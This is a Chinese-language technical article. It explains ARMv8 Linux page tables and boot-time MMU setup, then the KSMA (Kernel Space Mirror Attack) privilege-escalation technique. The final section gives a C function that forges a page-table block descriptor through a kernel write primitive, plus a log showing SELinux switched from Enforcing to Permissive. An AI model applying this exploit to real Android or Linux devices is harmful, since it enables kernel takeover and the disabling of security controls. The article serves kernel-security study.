Linux内存管理与KSMA攻击

KSMA的全称是Kernel Space Mirror Attack,即内核镜像攻击。本文主要记录对该攻击方法的原理分析以及Linux内核中相关内存管理部分。

术语

  • PGD: Page Global Directory
  • PUD: Page Upper Directory
  • PMD: Page Middle Directory
  • PTE: Page Table Entries
  • TLB: Transaction Lookaside Buffer

虚拟内存vs物理内存

程序员一般都知道,CPU的寻址空间和寄存器的位数有关,在32位CPU中,寻址空间为0 ~ 2^32-1 (4GB),在64位中更是不得了,最大寻址空间为2^64-1= 16EB。而我们常说的内存,即RAM的大小,通常只有几GB到几十GB,早期更是只有几百KB,所以这里所说的寻址,寻的定然不是物理地址,而是虚拟地址。

那么就引申出了一个问题,虚拟地址与物理地址的关系是什么?答案就是——MMU,即内存管理单元。当然,这个回答可能并不完全精确,因为MMU是硬件,大部分情况下,地址翻译需要硬件参与,但并不是绝对。软件和硬件的进化是不断促进的,软件可以快速将算法实现,而优秀的算法和设计又会以硬件实现来提速,业界很多例子,比如用于图像处理的GPU、深度学习芯片等。

扯远了,总之目前就是内存管理单元,或者说内存管理模块,实现虚拟地址到物理地址的转换。

tlb.png

注意其中的L1/L2 cache在MMU和总线之间,而L3则是在AHB总线和RAM之间,L4是在APB总线和外设之间。

操作系统与内存管理

程序员一般还知道,我们通常运行一个命令,就启动了一个进程,每个进程有自己独立的地址空间,并相互隔离,这是操作系统所要实现的一个基本功能。如果有人比较好学,那他可能还听说过,32位Linux的进程空间1GB是内核空间,3GB是用户空间。假如RAM大小是4GB,这就意味着一个进程就把所有硬件资源都占了吗?显然不太可能,毕竟其他进程也要正常工作。所以,操作系统需要有一种方法去给不同进程分配物理内存并进行管理,而且一般是动态管理。

为了使多个进程可以同时在有限的内存中运行,那就需要操作系统时不时将用不到的数据或者代码放在交换分区,充分利用硬件资源。换入和换出的单位可以是固定的,也可以是动态的,前者称为分页,后者称为分段。由于分页机制兼顾效率和复杂性,因此是目前最常见的内存分配方式。在Linux中,每页的大小通常是4K,这是邮件组不断测试和讨论的结果。

va.png

上图不同进程的虚拟地址空间可以分别映射到不同的物理地址,也可以映射到相同的物理地址(共享内存),也有可能存在未映射的虚拟地址和换出到磁盘的空间的地址。

上面说了,物理地址会分成许多页,虚拟地址也会进行分页,一个想象出来的映射方式为,使用虚拟地址头几字节保存物理页的ID,后几字节保存物理地址在目标物理页中的偏移量。当然实际的映射方式没有这么简单,而且通常会经过多级的映射,如下所示:

table.png

上面这个图实际是x86的分页模式,页表基地址保存在cr3寄存器。虚拟地址被分割为5个部分,前4部分分别是4级页表的索引,也可以理解成页表的目录,最后1部分为虚拟地址对应实际物理地址页的偏移量。

这4级页表的缩写分别是:PGD、PUD、PMD、PTE(Page Table Entry) 物理地址除了指向RAM,还包括ROM、外设(MMIO)空间 由于页表较大,各级页表本身也是存放在虚存中的

上面说过,在64位CPU中,虚拟地址支持64位的寻址,但实际上以目前硬件来看根本用不了这么多,对于Linux内核而言,在ARMv8目标编译时可以指定虚拟地址的位数,使用CONFIG_ARM64_VA_BITS参数指定,比如我当前的默认配置就是39位:

config.png

同时,也指定了页的大小为4K。虚拟地址分为用户空间和内核空间,前者高位为0,后者高位为1,因此,地址空间范围为:

  • 用户空间: 0x0 ~ 0x7f ffff ffff (512GB)
  • 内核空间: 0xffff ff80 0000 0000 ~ 0xffff ffff ffff ffff (512GB)

以最常见的3级页表(CONFIG_PGTABLE_LEVELS=3)为例,虚拟地址翻译的详细过程如下:

translation.png

虚拟地址[63:39]用来区分用户空间和内核空间,从而在不同的TTBR(Translation Table Base Register)寄存器中获取Level1页表基址,内核地址用TTBR1(代表EL1),用户地址用TTBR0(代表EL0)。

上图第二行为TTBR寄存器内容的表示,寄存器大小为64位,[47:12]指向Level1的页表结构体,加上Level1的偏移,完成Level1的查找。这里的Descriptor,即页表中存放的内容,其类型一共有4种,根据最低2位决定:

bits.png

Table Descriptor包含下级页表地址或者Block Address。

上面是ARMv8所支持的页表分级策略,下面介绍在Linux内核代码中的具体实现。ARMv8支持4级页表分别是PGD->PUD->PMD->PTE,3级页表情况下,没有PGD页表;2级页表情况下,没有PGD和PUD。

从代码中看Linux的启动过程(arch/arm64/kernel/head.S):

ENTRY(stext)
    bl  preserve_boot_args
    bl  el2_setup           // Drop to EL1, w20=cpu_boot_mode
    adrp    x24, __PHYS_OFFSET
    bl  set_cpu_boot_mode_flag

    bl  __vet_fdt
    bl  __create_page_tables        // x25=TTBR0, x26=TTBR1
    /*
     * The following calls CPU setup code, see arch/arm64/mm/proc.S for
     * details.
     * On return, the CPU will be ready for the MMU to be turned on and
     * the TCR will have been set.
     */
    ldr x27, =__mmap_switched       // address to jump to after
                        // MMU has been enabled
    adr_l   lr, __enable_mmu        // return (PIC) address
    b   __cpu_setup         // initialise processor
ENDPROC(stext)
/*
 * Setup the initial page tables. We only setup the barest amount which is
 * required to get the kernel running. The following sections are required:
 *   - identity mapping to enable the MMU (low address, TTBR0)
 *   - first few MB of the kernel linear mapping to jump to once the MMU has
 *     been enabled, including the FDT blob (TTBR1)
 *   - pgd entry for fixed mappings (TTBR1)
 */
__create_page_tables:
    adrp    x25, idmap_pg_dir
    adrp    x26, swapper_pg_dir
    mov x27, lr
	// ...
    mov lr, x27
    ret
ENDPROC(__create_page_tables)

代码太长就不粘贴了,简要介绍创建页表的过程,首先初始化x25和x26的值。在MMU启动过程中,前者作为TTBR0,后者是TTBR1。idmap,即identity map,表示物理地址和虚拟地址是一致的映射关系,这是为了保证MMU开启前后代码在临界区的正确性。swapper_pg_dir是一级页表PGD的地址。

创建页表的过程主要涉及到3个宏,下面分别介绍。

create_table_entry

/*
 * Macro to create a table entry to the next page.
 *
 *  tbl:    page table address
 *  virt:   virtual address
 *  shift:  #imm page table shift
 *  ptrs:   #imm pointers per table page
 *
 * Preserves:   virt
 * Corrupts:    tmp1, tmp2
 * Returns: tbl -> next level table page address
 */
    .macro  create_table_entry, tbl, virt, shift, ptrs, tmp1, tmp2
    lsr \tmp1, \virt, #\shift
    and \tmp1, \tmp1, #\ptrs - 1    // table index
    add \tmp2, \tbl, #PAGE_SIZE
    orr \tmp2, \tmp2, #PMD_TYPE_TABLE   // address of next table and entry type
    str \tmp2, [\tbl, \tmp1, lsl #3]
    add \tbl, \tbl, #PAGE_SIZE      // next level table page (注:因此连续两次调用所创建的列表是连续的)
    .endm

其作用是创建页表项,完成后tbl地址修改为下一级的页表地址。

create_pgd_entry

/*
 * Macro to populate the PGD (and possibily PUD) for the corresponding
 * block entry in the next level (tbl) for the given virtual address.
 *
 * Preserves:   tbl, next, virt
 * Corrupts:    tmp1, tmp2
 */
    .macro  create_pgd_entry, tbl, virt, tmp1, tmp2
    create_table_entry \tbl, \virt, PGDIR_SHIFT, PTRS_PER_PGD, \tmp1, \tmp2
#if SWAPPER_PGTABLE_LEVELS == 3
    create_table_entry \tbl, \virt, SWAPPER_TABLE_SHIFT, PTRS_PER_PTE, \tmp1, \tmp2
#endif
    .endm

根据页表级别数目创建PGD。3级页表情况下还会创建PMD,由于create_table_entry的特性,这两个页表地址是连续的,相隔PAGE_SIZE。

创建虚拟地址到物理地址的映射,映射区域为虚拟地址[start, end]:

/*
 * Macro to populate block entries in the page table for the start..end
 * virtual range (inclusive).
 *
 * Preserves:   tbl, flags
 * Corrupts:    phys, start, end, pstate
 */
    .macro  create_block_map, tbl, flags, phys, start, end
    lsr \phys, \phys, #SWAPPER_BLOCK_SHIFT
    lsr \start, \start, #SWAPPER_BLOCK_SHIFT
    and \start, \start, #PTRS_PER_PTE - 1   // table index
    orr \phys, \flags, \phys, lsl #SWAPPER_BLOCK_SHIFT  // table entry
    lsr \end, \end, #SWAPPER_BLOCK_SHIFT
    and \end, \end, #PTRS_PER_PTE - 1       // table end index
9999:   str \phys, [\tbl, \start, lsl #3]       // store the entry
    add \start, \start, #1          // next entry
    add \phys, \phys, #SWAPPER_BLOCK_SIZE       // next block
    cmp \start, \end
    b.ls    9999b
    .endm

开启MMU代码如下,msr汇编指令表示将通用寄存器的值存放到协处理器系统寄存器中:

/*
 * Enable the MMU.
 *
 *  x0  = SCTLR_EL1 value for turning on the MMU.
 *  x27 = *virtual* address to jump to upon completion
 *
 * other registers depend on the function called upon completion
 */
__enable_mmu:
    ldr x5, =vectors
    msr vbar_el1, x5
    msr ttbr0_el1, x25          // load TTBR0
    msr ttbr1_el1, x26          // load TTBR1
    isb
    msr sctlr_el1, x0
    isb
    /*
     * Invalidate the local I-cache so that any instructions fetched
     * speculatively from the PoC are discarded, since they may have
     * been dynamically patched at the PoU.
     */
    ic  iallu
    dsb nsh
    isb
    br  x27
ENDPROC(__enable_mmu)

KSMA

了解了上述基本概念,再来看看KSMA就很简单了。KSMA为Kernel-Space-Mirror-Attack,基于一次内核写漏洞,修改页表(描述符)实现物理地址的重新映射,从而实现任意内核地址读写原语。

操作系统的PGD分为两个部分,一部分是内核PGD,保存在swapper_pg_dir中(TTBR1),用户PGD则独立存放。上面介绍了Table Descriptor,有四种类型(简称TD),一个TD为64字节。不同类型的TD包含不同的内容,但主要有3种:

  1. 下一级页表的地址(D_Table)
  2. 指定内存区域(D_Block)
  3. 指定页表 (D_Page)

trans

以一个实际的虚拟地址0xffffffc000175770为例,在三级页表下的查找过程为:

-------------------------x--------x--------x--------x-----------
1111111111111111111111111100000000000000000101110101011101110000
  • 根据高位地址判断该地址在内核空间,因此使用TTBR1
  • index0 = bits[n:39],不使用0级页表
  • index1 = bits[38:30] = 0x100
  • index2 = bits[29:21] = 0x0
  • index3 = bits[20:12] = 0x175
  • offset = bits[11:0] = 0x770

对于KSMA攻击而言,我们需要关注的是D_Block类型:

block

对于我们的配置,页大小为4K,所以bits[47:30]代表output address,即所映射的物理地址对应位的值。其中Block类型的Lower Attribute中包含了Block地址的读写属性:

lower

AP[2:1]即bits[7:6]的取值所代表的读写属性如下:

ap

KMSA的原理是,通过一次内核写,在特定地址伪造D_Block,伪造的结果是令我们可以在一块新的虚拟地址上(再次)映射内核物理地址。考虑一个如下的经典memory layout:

AArch64 Linux memory layout with 4KB pages:
Start            End            Size        Use
-----------------------------------------------------------------------
0000000000000000    0000007fffffffff     512GB        user
ffffff8000000000    ffffffbbfffeffff    ~240GB        vmalloc
ffffffbbffff0000    ffffffbbffffffff      64KB        [guard page]
ffffffbc00000000    ffffffbdffffffff       8GB        vmemmap
ffffffbe00000000    ffffffbffbbfffff      ~8GB        [guard, future vmmemap]
ffffffbffa000000    ffffffbffaffffff      16MB        PCI I/O space
ffffffbffb000000    ffffffbffbbfffff      12MB        [guard]
ffffffbffbc00000    ffffffbffbdfffff       2MB        fixed mappings
ffffffbffbe00000    ffffffbffbffffff       2MB        [guard]
ffffffbffc000000    ffffffbfffffffff      64MB        modules
ffffffc000000000    ffffffffffffffff     256GB        kernel logical memory map

内核镜像映射到0xffffffc000000000,起始地址一般是0xffffffc000080000。size是256GB,但实际上一般只用了1G左右,其余部分没有物理地址映射,因此访问会产生段错误,我们可以利用这些虚拟地址去映射内核物理地址,假设映射从va=0xffffffc200000000开始,则:

  • 一级页表index1的值为:va[38:31] = (va & 0x0000007fc0000000) » 30 = 0x108
  • D_Block地址(即Table Descriptor地址)为:pgd[index1] = swapper_pg_dir + index1 * 8

我们直接令一级页表返回D_Block,而不是常规的返回包含二级页表地址的D_Table。

要实现KSMA攻击,首先需要初始化一个新的映射关系。指定一片未被使用的虚拟地址空间为mirror_base,令其映射到内核加载虚拟地址对应的物理地址页kernel_phys。保存在memstart_addr

memstart_addr在arch/arm64/kernel/head.S定义为#define __PHYS_OFFSET (KERNEL_START - TEXT_OFFSET),KERNEL_START为_text的地址(ffffffc000080000),TEXT_OFFSET的定义如下:

arch/arm64/Makefile:

# The byte offset of the kernel image in RAM from the start of RAM.
ifeq ($(CONFIG_ARM64_RANDOMIZE_TEXT_OFFSET), y)
TEXT_OFFSET := $(shell awk 'BEGIN {srand(); printf "0x%03x000\n", int(512 * rand())}')
else
TEXT_OFFSET := 0x00080000
endif

为内核镜像在RAM中相对于RAM起始地址的偏移,可以理解为物理地址。因此,在KASLR关闭的情况下,memstart_addr即为内核加载地址(ffffffc000000000)对应的物理地址值:

pwndbg> p/x memstart_addr
$2 = 0x40000000

内核加载虚拟地址也可以参考下面的memory处:

Memory: 2055232K/2097152K available (5455K kernel code, 326K rwdata, 1872K rodata, 232K init, 482K bss, 41920K reserved)
Virtual kernel memory layout:
    vmalloc : 0xffffff8000000000 - 0xffffffbdffff0000   (   247 GB)
    vmemmap : 0xffffffbe00000000 - 0xffffffbfc0000000   (     7 GB maximum)
              0xffffffbe00000000 - 0xffffffbe01c00000   (    28 MB actual)
    PCI I/O : 0xffffffbffa000000 - 0xffffffbffb000000   (    16 MB)
    fixed   : 0xffffffbffbdfd000 - 0xffffffbffbdff000   (     8 KB)
    modules : 0xffffffbffc000000 - 0xffffffc000000000   (    64 MB)
    memory  : 0xffffffc000000000 - 0xffffffc080000000   (  2048 MB)
      .init : 0xffffffc0007b0000 - 0xffffffc0007ea000   (   232 KB)
      .text : 0xffffffc000080000 - 0xffffffc0005d5c70   (  5464 KB)
      .data : 0xffffffc0007fa000 - 0xffffffc00084ba00   (   327 KB)

初始化内核镜像,即修改伪造Table Descriptor的过程如下,pz_write是一次写原语:

void init_mirror(uintptr_t kernel_phys, uintptr_t mirror_base, int fd) {
    /* one kernel write primitive to grant new mirror virtual space
     * 1. calculate d_block_addr
     * 2. prepare d_block (int64)
     * 3. write d_block to d_block_addr
     * */
    uintptr_t d_block_addr;
    uintptr_t d_block;

    int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
    d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8;  // target Table Descriptor Address
    pz_log("descriptor: 0x%lx + %d x 8 = 0x%lx", SYMBOL__swapper_pg_dir, index1, d_block_addr);

    d_block = 0;
    d_block |= 0x1 ; // Block entry
    /* Lower attributes */
    d_block |= (1u << 11); // bits[11], nG
    d_block |= (1u << 10); // bits[10], AF
    d_block |= (1u << 9); // bits[9], SH[1]
    d_block |= 0x40; // bits[7:6], AP[2:1] = 01
    d_block |= 0x20; // bits[5], NS
    d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
    d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
    /* Upper attributes */
    d_block |= (1ul << 52); // bits[52], Contiguous
    d_block |= (1ul << 53); // bits[53], PXN
    d_block |= (1ul << 54); // bits[54], XN

    pz_log("d_block = 0x%lx", d_block);
    pz_write(fd, (void *)d_block_addr, &d_block, 8);
}

测试映射一块新的虚拟内存空间后对其进行直接写入,修改SELinux效果如下:

generic_arm64:/data/local/tmp # getenforce
Enforcing
generic_arm64:/data/local/tmp # ./test_ksma
[+] descriptor: 0xffffffc0008c8000 + 264 x 8 = 0xffffffc0008c8840
[+] d_block = 0x70000040000e71
[+] vaddr 0xffffffc00088b11c TTBR1 L0=0x1ff L1=0x100 L2=0x4 L3=0x8b OFF=0x11c
[+] vaddr 0xffffffc20088b11c TTBR1 L0=0x1ff L1=0x108 L2=0x4 L3=0x8b OFF=0x11c
[+] addr   0xffffffc00088b11c  --> 0x100000001
[+] mirror 0xffffffc20088b11c  --> 0x100000001
[+] directly write mirror
[+] addr   0xffffffc00088b11c  --> 0x100000000
[+] mirror 0xffffffc20088b11c  --> 0x100000000
generic_arm64:/data/local/tmp # getenforce
Permissive

参考文章